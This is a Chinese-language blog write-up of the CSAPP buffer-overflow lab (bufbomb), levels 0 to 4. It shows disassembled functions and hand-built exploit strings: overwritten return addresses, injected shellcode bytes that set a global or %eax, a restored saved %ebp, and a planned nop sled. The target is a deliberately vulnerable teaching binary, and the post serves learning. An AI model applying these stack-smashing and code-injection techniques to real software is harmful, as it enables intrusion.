CSAPP lab. buf

复习一章,做一个lab..

之前做了bomblab之后再做这个似乎会入手了。。


Level 0:

objdump -d bufbomb >  bufbomb.txt 之后再里面找到 getbuf这个函数


08048ca4 <getbuf>:
 8048ca4:	55                   	push   %ebp
 8048ca5:	89 e5                	mov    %esp,%ebp
 8048ca7:	83 ec 38             	sub    $0x38,%esp
 8048caa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 8048cad:	89 04 24             	mov    %eax,(%esp)
 8048cb0:	e8 3c ff ff ff       	call   8048bf1 <Gets>
 8048cb5:	b8 01 00 00 00       	mov    $0x1,%eax
 8048cba:	c9                   	leave  
 8048cbb:	c3                   	ret   

-0x28(%ebp) 这个位置就是缓冲区buf的首地址,题目要求我们在该函数返回之前修改%ebp所指向的上面一个字段的值为smoke函数的地址,即函数返回时返回到smoke()。

在bufbomb.txt中找到smoke()的地址为0x08049174,因此只需要在开头任意输入0x28+0x4(%ebp所指向的字段)个字节,然后再增加08049174这个4个字节就行了,注意08049174应该反过来输入,低位在前。


Level 1:

像上面一样找到fizz(int val)的地址为0x08049129

08049129 <fizz>:
 8049129:	55                   	push   %ebp
 804912a:	89 e5                	mov    %esp,%ebp
 804912c:	83 ec 18             	sub    $0x18,%esp
 804912f:	8b 45 08             	mov    0x8(%ebp),%eax
 8049132:	3b 05 c4 b1 04 08    	cmp    0x804b1c4,%eax
 8049138:	75 1e                	jne    8049158 <fizz+0x2f>
 804913a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804913e:	c7 04 24 43 a0 04 08 	movl   $0x804a043,(%esp)
 8049145:	e8 26 f8 ff ff       	call   8048970 <printf@plt>
 804914a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8049151:	e8 4a 00 00 00       	call   80491a0 <validate>
 8049156:	eb 10                	jmp    8049168 <fizz+0x3f>
 8049158:	89 44 24 04          	mov    %eax,0x4(%esp)
 804915c:	c7 04 24 3c a2 04 08 	movl   $0x804a23c,(%esp)
 8049163:	e8 08 f8 ff ff       	call   8048970 <printf@plt>
 8049168:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 804916f:	e8 bc f8 ff ff       	call   8048a30 <exit@plt>

看到fizz调用参数的位置为0x8(%ebp),只需把cookie放到这个位置就行了。在0x804912f处设置断点发现$ebp的值为0x55683af4,所以只需在第一个level的基础上修改返回地址,后面添加任意4个字节,再添加自己的cookie,注意依旧是低地址在前高地址在后。


Level 2:

和上面两个不同的地方就是这次还要改变全局变量global_value的值。思考一下要改变这个值肯定先要得到地址,看一下bang的反汇编代码

080490dc <bang>:
 80490dc:	55                   	push   %ebp
 80490dd:	89 e5                	mov    %esp,%ebp
 80490df:	83 ec 18             	sub    $0x18,%esp
 80490e2:	a1 cc b1 04 08       	mov    0x804b1cc,%eax
 80490e7:	3b 05 c4 b1 04 08    	cmp    0x804b1c4,%eax
 80490ed:	75 1e                	jne    804910d <bang+0x31>
 80490ef:	89 44 24 04          	mov    %eax,0x4(%esp)
 80490f3:	c7 04 24 14 a2 04 08 	movl   $0x804a214,(%esp)
 80490fa:	e8 71 f8 ff ff       	call   8048970 <printf@plt>
 80490ff:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8049106:	e8 95 00 00 00       	call   80491a0 <validate>
 804910b:	eb 10                	jmp    804911d <bang+0x41>
 804910d:	89 44 24 04          	mov    %eax,0x4(%esp)
 8049111:	c7 04 24 25 a0 04 08 	movl   $0x804a025,(%esp)
 8049118:	e8 53 f8 ff ff       	call   8048970 <printf@plt>
 804911d:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8049124:	e8 07 f9 ff ff       	call   8048a30 <exit@plt>

0x804b1cc这个地址就是global_value的地址。接下来考虑如何将该地址上的值改变,

考虑将getbuf的返回地址设在栈上,然后依次执行一些指令改变global_value的值,最后调用ret命令返回到bang函数。

通过缓冲区可以在栈上添加这样的命令: movl  $0x804b1cc,%eax

                                                                         movl  $0x3e66f37d,(%eax)  (我的cookie)

                                                                         mov   $0x080490dc,(%esp)   (设定返回值)

                                                                         ret

编译之后再反汇编得到下面的机器码:

   0:	b8 cc b1 04 08       	mov    $0x804b1cc,%eax
   5:	c7 00 7d f3 66 3e    	movl   $0x3e66f37d,(%eax)
   b:	c7 04 24 dc 90 04 08 	movl   $0x80490dc,(%esp)
  12:	c3                   	ret    

此外栈中保存返回地址的地址为0x55683af4,那么可以将上面的命令添加到从地址为0x55683af8开始的字段上。


Level3:

要求将cookie作为getbuf()函数的返回值,然后依旧返回到test()函数,test()的地址为0x08048d25。

可以看到getbuf()原来是返回常数1,一开始想到的是只需把地址0x8048cb5上的1改成cookie就行,但是发现这条命令的早就执行了的,而我们要做的是在ret之后将寄存器%eax中的值变为cookie,所以还是需要在栈上动手脚。

getbuf()返回地址依旧设为0x55683af8,

后续栈上指令为:

   0:	b8 7d f3 66 3e       	mov    $0x3e66f37d,%eax
   5:	c7 04 24 25 8d 04 08 	movl   $0x8048d25,(%esp)
   c:	c3                   	ret  

这里出现了一个超级严重失误!!我直接将返回地址设为了0x08048d25,这是test()的开头地址,正确的地址先观察test()函数:

08048d25 <test>:
 8048d25:	55                   	push   %ebp
 8048d26:	89 e5                	mov    %esp,%ebp
 8048d28:	53                   	push   %ebx
 8048d29:	83 ec 24             	sub    $0x24,%esp
 8048d2c:	e8 9f fe ff ff       	call   8048bd0 <uniqueval>
 8048d31:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048d34:	e8 6b ff ff ff       	call   8048ca4 <getbuf>
 8048d39:	89 c3                	mov    %eax,%ebx
 8048d3b:	e8 90 fe ff ff       	call   8048bd0 <uniqueval>
 8048d40:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048d43:	39 d0                	cmp    %edx,%eax
 8048d45:	74 0e                	je     8048d55 <test+0x30>
 8048d47:	c7 04 24 54 a1 04 08 	movl   $0x804a154,(%esp)
 8048d4e:	e8 7d fc ff ff       	call   80489d0 <puts@plt>
 8048d53:	eb 36                	jmp    8048d8b <test+0x66>
 8048d55:	3b 1d c4 b1 04 08    	cmp    0x804b1c4,%ebx
 8048d5b:	75 1e                	jne    8048d7b <test+0x56>
 8048d5d:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048d61:	c7 04 24 bf 9f 04 08 	movl   $0x8049fbf,(%esp)
 8048d68:	e8 03 fc ff ff       	call   8048970 <printf@plt>
 8048d6d:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8048d74:	e8 27 04 00 00       	call   80491a0 <validate>
 8048d79:	eb 10                	jmp    8048d8b <test+0x66>
 8048d7b:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048d7f:	c7 04 24 dc 9f 04 08 	movl   $0x8049fdc,(%esp)
 8048d86:	e8 e5 fb ff ff       	call   8048970 <printf@plt>
 8048d8b:	83 c4 24             	add    $0x24,%esp
 8048d8e:	5b                   	pop    %ebx
 8048d8f:	5d                   	pop    %ebp
 8048d90:	c3                   	ret    

应该将返回地址设在getbuf()结束的后一个指令所在的地址,即0x8048d39,所以正确的应该是这样:
   0:	b8 7d f3 66 3e       	mov    $0x3e66f37d,%eax
   5:	c7 04 24 39 8d 04 08 	movl   $0x8048d39,(%esp)
   c:	c3                   	ret 

修改之后发现依旧存在段错误在0x08048d40这个位置,为什么呢?先猜想一下可能是在栈上添加的代码改变了原来栈上的状态,所以出现了错误,那么我们将添加的代码换一个位置看看。

 把getbuf的返回地址改成buf的首地址(0x55683ac8),这样可以把修改eax的代码放在input的string的开始处。

b8 7d f3 66 3e
c7 04 24 39 8d 04 08
c3
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 
c8 3a 68 55   /* return address */ 
修改后发现还是有错误,遂gbd中直接看$ebp的值发现特么的居然是0xffffffff.....

再被缓冲区覆盖之前的栈中旧的%ebp是0x55683b20,是返回地址的前面一个字节。。那就修改一下使它保持不变

b8 7d f3 66 3e
c7 04 24 39 8d 04 08
c3
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
20 3b 68 55 
c8 3a 68 55   /* return address */ 

还是有段错误,但是bomb出来了。。唯一可能出现问题的地方是之前更改了%esp的值,但是需要ret的话esp就没有办法复原,网上看了别人的后发现可以用push来将返回地址入栈,这样ret之后%esp就不会变了,我怎么就没想到呢。。

   0:	b8 7d f3 66 3e       	mov    $0x3e66f37d,%eax
   5:	68 39 8d 04 08       	push   $0x8048d39
   a:	c3                   	ret   
exploit-raw.txt中的字节为:

b8 7d f3 66 3e
68 39 8d 04 08
c3
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
20 3b 68 55 
c8 3a 68 55   /* return address */ 

Level 4:

地址空间布局变成随机的了,且缓冲区大小扩大到512个字节。。。。怎么搞呢

归纳一下可能出现的问题

1.缓冲区覆盖掉的$ebp不固定了

2.返回地址也不固定了


针对第一个问题,$ebp可以根据testn中调用getbufn()之前,$ebp比$esp大0x24来解决,只需要再添加一条leal 0x28($esp),$ebp就可以了

第二个问题用nop sled解决。

反汇编得到:

   0:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   4:	b8 7d f3 66 3e       	mov    $0x3e66f37d,%eax
   9:	68 cf 8c 04 08       	push   $0x8048ccf
   e:	c3                   	ret  



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值